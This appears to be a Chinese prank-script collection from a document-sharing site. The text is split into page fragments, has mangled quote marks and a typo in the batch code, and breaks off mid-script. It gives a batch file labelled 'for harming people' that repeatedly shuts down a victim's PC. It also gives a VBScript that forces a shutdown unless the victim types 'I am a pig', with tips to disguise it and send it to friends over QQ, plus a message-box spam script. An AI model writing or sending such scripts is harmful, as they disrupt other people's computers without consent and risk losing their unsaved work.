整人代碼大全(共9頁(yè))

1、整人代碼大全讓對(duì)方重啟指定次數(shù)(害人專(zhuān)用)echo offif not exist c:1.txt echo. >c:1.txt & goto err1if not exist c:2.txt echo. >c:2.txt & goto err1if not exist c:3.txt echo. >c:3.txt & goto err1sif not exist c:4.txt echo. >c:4.txt & goto err1if not exist c:5.txt echo. >c:5.txt & goto err1

2、goto err2:err1shutdown -s -t 0:err2上面可以讓對(duì)方電腦重啟5次后不在重啟，當(dāng)然如果你修改一下加個(gè)if not exist c:6.txt echo. >c:6.txt & goto err1那就是重啟6次改成7就是7次.打開(kāi)“開(kāi)始程序附件記事本”，把代碼部分復(fù)制進(jìn)去，點(diǎn)“另存為”，路徑選“你想要放的地方”，保存類(lèi)型為“所有文件”，文件名為“你想要的名字.bat”，你的批量處理器就完成了。善意惡搞關(guān)機(jī)首先呢,我們?cè)谧烂鎰?chuàng)建個(gè)新文件夾然后打開(kāi),在上面找到-工具T-文件夾選項(xiàng)O-查看把隱藏已知文件類(lèi)型的擴(kuò)展名前面的勾去掉.然后我們開(kāi)始制作.在桌面建立個(gè)

3、記事本,然后把下面代碼復(fù)制進(jìn)去on error resume nextdim WSHshellAset WSHshellA = wscript.createobject("wscript.shell")WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""說(shuō)我是豬，不說(shuō)我是豬就一分鐘關(guān)你機(jī)，不信，試試···"" ",0 ,truedim ado while(a <> "我是豬")a = inputbox (&q

4、uot;說(shuō)我是豬,就不關(guān)機(jī)，快撒，說(shuō) ""我是豬""","說(shuō)不說(shuō)","不說(shuō)",8000,7000)msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"loopmsgbox chr(13) + chr(13) + chr(13) + "早說(shuō)就行了嘛"dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run &

5、quot;cmd.exe /c shutdown -a",0 ,truemsgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，一切皆有可能"    復(fù)制之后呢,把后綴修改為.vbs或者改變打開(kāi)方式為應(yīng)用程序，這樣你再壓縮下用QQ發(fā)給你朋友，對(duì)方打開(kāi)了就在60秒內(nèi)要關(guān)閉計(jì)算機(jī)，結(jié)束任務(wù)都不行，他只能說(shuō)他是豬才能解決問(wèn)題。夠壞吧？    注意哦，你可以把我是豬那個(gè)修改成任意想說(shuō)的話，要是對(duì)付你喜歡的人，就修改成   我愛(ài)你   這樣他只有說(shuō)我愛(ài)你之后才不關(guān)閉計(jì)算機(jī)哦  

6、;也可以把時(shí)間修改為20  就是說(shuō)打開(kāi)了20秒就關(guān)了,還沒(méi)等對(duì)方打完就關(guān)機(jī)了  是不是叫對(duì)方很郁悶?zāi)?讓人崩潰的關(guān)機(jī)程序 首先你可以看下面的WScript.Echo("嘿，謝謝你打開(kāi)我哦，我等你很久拉！"&TSName)WScript.Echo("你是可愛(ài)的XX童鞋嗎?")WScript.Echo("哈,我想你拉，這你都不知道嗎？")WScript.Echo("怎么才來(lái)，說(shuō)是不是不關(guān)心我")WScript.Echo("哼,我生氣拉，等你這么久，心都涼啦。")

7、WScript.Echo("夜黑很生氣，后果很?chē)?yán)重哦。")WScript.Echo("嘿嘿！你也會(huì)很慘滴哦")WScript.Echo("是不是想清除我？")WScript.Echo("那你要點(diǎn)上50下哦，不過(guò)會(huì)給你驚喜滴")WScript.Echo("還剩49下，快點(diǎn)點(diǎn)哦")WScript.Echo("還剩48下，快點(diǎn)，小笨蛋！")WScript.Echo("還剩47下對(duì)，就這樣快點(diǎn)點(diǎn)！")WScript.Echo("還剩46下。你啊就是笨，要

8、快哦，我先不打擾你工作。")WScript.Echo("還剩45下，記得要快哦！")WScript.Echo("還剩43下")WScript.Echo("還剩42下")WScript.Echo("還剩41下")WScript.Echo("還剩40下")WScript.Echo("還剩39下")WScript.Echo("還剩38下")WScript.Echo("還剩37下")WScript.Echo("還剩36下&q

9、uot;)WScript.Echo("還剩35下")WScript.Echo("還剩34下")WScript.Echo("還剩33下")WScript.Echo("還剩32下")WScript.Echo("還剩30下")WScript.Echo("還剩29下")WScript.Echo("還剩28下")WScript.Echo("還剩27下")WScript.Echo("還剩26下")WScript.Echo(&qu

10、ot;還剩25下")WScript.Echo("還剩24下")WScript.Echo("還剩23下")WScript.Echo("還剩22下")WScript.Echo("還剩21下")WScript.Echo("還剩20下")WScript.Echo("還剩19下")WScript.Echo("還剩18下")WScript.Echo("還剩17下")WScript.Echo("還剩16下")WScrip

11、t.Echo("還剩15下")WScript.Echo("還剩14下")WScript.Echo("還剩13下停停！慢點(diǎn)，我有話要說(shuō)")WScript.Echo("還剩12下，你繼續(xù)點(diǎn)我就會(huì)消失滴")WScript.Echo("還剩11下，以后就看不到我拉。嗚嗚555555")WScript.Echo("還剩10下，你現(xiàn)在可以選擇停止！")WScript.Echo("還剩9下。你還點(diǎn)啊，不要我拉？")WScript.Echo("還剩8下，有點(diǎn)傷心

12、拉，干嘛丟棄人家")WScript.Echo("還剩7下。瘋了，你有點(diǎn)負(fù)意！")WScript.Echo("還剩6下。對(duì)。你就點(diǎn)吧，我恨你！")WScript.Echo("還剩5下，不明白，刪除我你就好嗎？")WScript.Echo("還剩4下！真要?jiǎng)h除我？")WScript.Echo("還剩3下?？墒俏艺娴暮芫鞈倌?。")WScript.Echo("還剩2下。不要這么絕情嘛，人家是愛(ài)你的！")WScript.Echo("還剩1下。哼，既然你這么絕情。也別

13、怪我無(wú)義！")WScript.Echo("我本因該消失的，不過(guò)我留戀你滴芳容，萬(wàn)能的上帝又給了一次機(jī)會(huì)。")WScript.Echo("想結(jié)束我么?那你就再多點(diǎn)一次")WScript.Echo("想結(jié)束我么?那你就再多點(diǎn)一次")WScript.Echo("想結(jié)束我么?那你就再多點(diǎn)一次")WScript.Echo("想結(jié)束我么?那你就再多點(diǎn)一次")WScript.Echo("想結(jié)束我么?那你就再多點(diǎn)一次")WScript.Echo("想結(jié)束我么?那你就再多點(diǎn)一次")WScript.Echo("想結(jié)束我么?那你就再多點(diǎn)一次")WScript.Echo("想結(jié)束我么?那你就再多點(diǎn)一次")WScript.Echo("想結(jié)束我么?那你就再多點(diǎn)一次")WScript.